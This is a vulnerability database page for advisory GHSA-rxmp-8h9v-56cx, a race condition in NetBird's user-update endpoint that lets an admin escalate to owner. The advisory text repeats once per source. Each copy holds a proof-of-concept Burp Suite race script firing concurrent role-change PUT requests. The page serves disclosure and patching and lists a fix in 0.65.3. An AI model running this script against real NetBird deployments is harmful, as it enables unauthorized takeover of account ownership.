Every CVESearch/Get API key

GHSA-rxmp-8h9v-56cx

NetBird has Race Condition on UpdateUser Function, Resulting in Privilege Escalation From Admin to Owner

4.4 MediumFix available

Summary

A race condition vulnerability allows authenticated admin-privileged users to escalate to owner privilege.

Details

The vulnerability exists in the updateUser function, which is connected to the /users/{userId} PUT request. This function then calls the SaveOrAddUsers function, which checks the user's permissions on two separate occasions. The first check verifies whether the initiator is an admin or owner and rejects the request if the initiator is not. The second check retrieves the user role details from the database again and saves them in a variable called initiatorUser.

SaveOrAddUsers Function

Location: netbird/management/server/user.go — Line 556

Afterwards, the validateUserUpdate function is called, which checks if the initiator has permission to update that specific user's role. This validation is lacking, as it assumes the initiator is an admin or owner. In the case that the initiator is a regular user, these conditions do not apply, and the target can be updated to owner even when the initiator holds only a user role.

validateUserUpdate Function

Location: netbird/management/server/user.go — Line 862

In summary, if the initiator's permission is admin at the first check and gets dropped to user at the second check, the initiator can update a user to owner.

Proof of Concept

It is possible to create the following attack:

The initiator (old_admin) creates two different accounts — one with a user role and another with an admin role. These will be referred to as new_user and new_admin from here on.

Two different requests are needed:

  1. Request 1 — Using new_admin's JWT, a request is created that changes old_admin's role to user.
  2. Request 2 — Using old_admin's JWT, a request is created that changes new_user's role to owner.

Both requests need valid user IDs and auto_groups group IDs. They should be sent simultaneously without waiting for prior requests to return.

There is a very small time gap between the first and second permission checks, so multiple tries and multiple copies of the requests may be needed. During a penetration test engagement, privilege escalation was achieved by using 5 copies of Request 1 and 100 copies of Request 2 without waiting for any request to complete. The request that updated the role to owner returned 500 status codes instead of 403, which when retried returned 200 and successfully applied the update.

The following Burp Suite race condition script was used. Note that it may still require multiple tries, and the old_admin account role must be reset to admin after every failed attempt.

import time

def queueRequests(target, wordlists):

    engine = RequestEngine(
        endpoint=target.endpoint,
        concurrentConnections=100,
        requestsPerConnection=100,
        pipeline=False
    )

    # Request 1
    req1 = """PUT /api/users/{OLD_ADMIN_USERID} HTTP/2
Host: CHANGE_WITH_HOST
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:147.0) Gecko/20100101 Firefox/147.0
Accept: application/json
Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7
Accept-Encoding: gzip, deflate, br
Content-Type: application/json
Authorization: Bearer {NEW_ADMIN_TOKEN}
Content-Length: 73
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0
Te: trailers

{"role":"user","auto_groups":[GROUP_ID],"is_blocked":false}"""

    # Request 2
    req2 = """PUT /api/users/{NEW_USER_USERID} HTTP/2
Host: CHANGE_WITH_HOST
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:147.0) Gecko/20100101 Firefox/147.0
Accept: application/json
Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7
Accept-Encoding: gzip, deflate, br
Content-Type: application/json
Authorization: Bearer {OLD_ADMIN_TOKEN}
Content-Length: 52
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0
Te: trailers

{"role":"owner","auto_groups":[],"is_blocked":false}"""

    # Send first request
    engine.queue(req1)
    engine.queue(req1)
    engine.queue(req1)
    engine.queue(req1)
    engine.queue(req1)

    # Send second request
    for i in range(100):
        engine.queue(req2)


def handleResponse(req, interesting):
    table.add(req)

Impact

An attacker with an admin account on the self-hosted NetBird management application v0.65.2 or lower can escalate to owner privileges.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
High
Privileges needed
High
User interaction
None

What an attacker can affect

Confidentiality
None
Integrity
High
Availability
None

What each source reports

GitHub Advisories Score used4.4

NetBird has Race Condition on UpdateUser Function, Resulting in Privilege Escalation From Admin to Owner

Summary

A race condition vulnerability allows authenticated admin-privileged users to escalate to owner privilege.

Details

The vulnerability exists in the updateUser function, which is connected to the /users/{userId} PUT request. This function then calls the SaveOrAddUsers function, which checks the user's permissions on two separate occasions. The first check verifies whether the initiator is an admin or owner and rejects the request if the initiator is not. The second check retrieves the user role details from the database again and saves them in a variable called initiatorUser.

SaveOrAddUsers Function

Location: netbird/management/server/user.go — Line 556

Afterwards, the validateUserUpdate function is called, which checks if the initiator has permission to update that specific user's role. This validation is lacking, as it assumes the initiator is an admin or owner. In the case that the initiator is a regular user, these conditions do not apply, and the target can be updated to owner even when the initiator holds only a user role.

validateUserUpdate Function

Location: netbird/management/server/user.go — Line 862

In summary, if the initiator's permission is admin at the first check and gets dropped to user at the second check, the initiator can update a user to owner.

Proof of Concept

It is possible to create the following attack:

The initiator (old_admin) creates two different accounts — one with a user role and another with an admin role. These will be referred to as new_user and new_admin from here on.

Two different requests are needed:

  1. Request 1 — Using new_admin's JWT, a request is created that changes old_admin's role to user.
  2. Request 2 — Using old_admin's JWT, a request is created that changes new_user's role to owner.

Both requests need valid user IDs and auto_groups group IDs. They should be sent simultaneously without waiting for prior requests to return.

There is a very small time gap between the first and second permission checks, so multiple tries and multiple copies of the requests may be needed. During a penetration test engagement, privilege escalation was achieved by using 5 copies of Request 1 and 100 copies of Request 2 without waiting for any request to complete. The request that updated the role to owner returned 500 status codes instead of 403, which when retried returned 200 and successfully applied the update.

The following Burp Suite race condition script was used. Note that it may still require multiple tries, and the old_admin account role must be reset to admin after every failed attempt.

import time

def queueRequests(target, wordlists):

    engine = RequestEngine(
        endpoint=target.endpoint,
        concurrentConnections=100,
        requestsPerConnection=100,
        pipeline=False
    )

    # Request 1
    req1 = """PUT /api/users/{OLD_ADMIN_USERID} HTTP/2
Host: CHANGE_WITH_HOST
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:147.0) Gecko/20100101 Firefox/147.0
Accept: application/json
Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7
Accept-Encoding: gzip, deflate, br
Content-Type: application/json
Authorization: Bearer {NEW_ADMIN_TOKEN}
Content-Length: 73
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0
Te: trailers

{"role":"user","auto_groups":[GROUP_ID],"is_blocked":false}"""

    # Request 2
    req2 = """PUT /api/users/{NEW_USER_USERID} HTTP/2
Host: CHANGE_WITH_HOST
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:147.0)…
Record
GHSA-rxmp-8h9v-56cx
CVSS 3.1
4.4 MediumCVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:N/I:H/A:N
Weakness
CWE-362
Updated
2026-11-02
OSV4.4

NetBird has Race Condition on UpdateUser Function, Resulting in Privilege Escalation From Admin to Owner

Summary

A race condition vulnerability allows authenticated admin-privileged users to escalate to owner privilege.

Details

The vulnerability exists in the updateUser function, which is connected to the /users/{userId} PUT request. This function then calls the SaveOrAddUsers function, which checks the user's permissions on two separate occasions. The first check verifies whether the initiator is an admin or owner and rejects the request if the initiator is not. The second check retrieves the user role details from the database again and saves them in a variable called initiatorUser.

SaveOrAddUsers Function

Location: netbird/management/server/user.go — Line 556

Afterwards, the validateUserUpdate function is called, which checks if the initiator has permission to update that specific user's role. This validation is lacking, as it assumes the initiator is an admin or owner. In the case that the initiator is a regular user, these conditions do not apply, and the target can be updated to owner even when the initiator holds only a user role.

validateUserUpdate Function

Location: netbird/management/server/user.go — Line 862

In summary, if the initiator's permission is admin at the first check and gets dropped to user at the second check, the initiator can update a user to owner.

Proof of Concept

It is possible to create the following attack:

The initiator (old_admin) creates two different accounts — one with a user role and another with an admin role. These will be referred to as new_user and new_admin from here on.

Two different requests are needed:

  1. Request 1 — Using new_admin's JWT, a request is created that changes old_admin's role to user.
  2. Request 2 — Using old_admin's JWT, a request is created that changes new_user's role to owner.

Both requests need valid user IDs and auto_groups group IDs. They should be sent simultaneously without waiting for prior requests to return.

There is a very small time gap between the first and second permission checks, so multiple tries and multiple copies of the requests may be needed. During a penetration test engagement, privilege escalation was achieved by using 5 copies of Request 1 and 100 copies of Request 2 without waiting for any request to complete. The request that updated the role to owner returned 500 status codes instead of 403, which when retried returned 200 and successfully applied the update.

The following Burp Suite race condition script was used. Note that it may still require multiple tries, and the old_admin account role must be reset to admin after every failed attempt.

import time

def queueRequests(target, wordlists):

    engine = RequestEngine(
        endpoint=target.endpoint,
        concurrentConnections=100,
        requestsPerConnection=100,
        pipeline=False
    )

    # Request 1
    req1 = """PUT /api/users/{OLD_ADMIN_USERID} HTTP/2
Host: CHANGE_WITH_HOST
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:147.0) Gecko/20100101 Firefox/147.0
Accept: application/json
Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7
Accept-Encoding: gzip, deflate, br
Content-Type: application/json
Authorization: Bearer {NEW_ADMIN_TOKEN}
Content-Length: 73
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0
Te: trailers

{"role":"user","auto_groups":[GROUP_ID],"is_blocked":false}"""

    # Request 2
    req2 = """PUT /api/users/{NEW_USER_USERID} HTTP/2
Host: CHANGE_WITH_HOST
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:147.0)…
Record
GHSA-rxmp-8h9v-56cx
CVSS 3.1
4.4 MediumCVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:N/I:H/A:N
Weakness
CWE-362
Updated
2026-11-02
OSVGO-2026-5646No score

NetBird has Race Condition on UpdateUser Function, Resulting in Privilege Escalation From Admin to Owner in github.com/netbirdio/netbird

NetBird has Race Condition on UpdateUser Function, Resulting in Privilege Escalation From Admin to Owner in github.com/netbirdio/netbird

Record
GO-2026-5646
Updated
2026-11-02

Affected packages

Affected packages
PackageAffectedFixed
github.com/netbirdio/netbird
Go
through 0.65.2
0.65.3
github.com/netbirdio/netbird
Go
before 0.65.3
0.65.3

History

History
RecordedChangedSources
first indexedGitHub Advisories, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

GHSA-rxmp-8h9v-56cx is a medium vulnerability (CVSS 4.4) in github.com/netbirdio/netbird, published April 1, 2026. No source lists public exploit code. Fixed in github.com/netbirdio/netbird 0.65.3.

References

This page doesn't list everything

Left out here: the rest of 2 source descriptions. The JSON record has them.

MoveEnter Open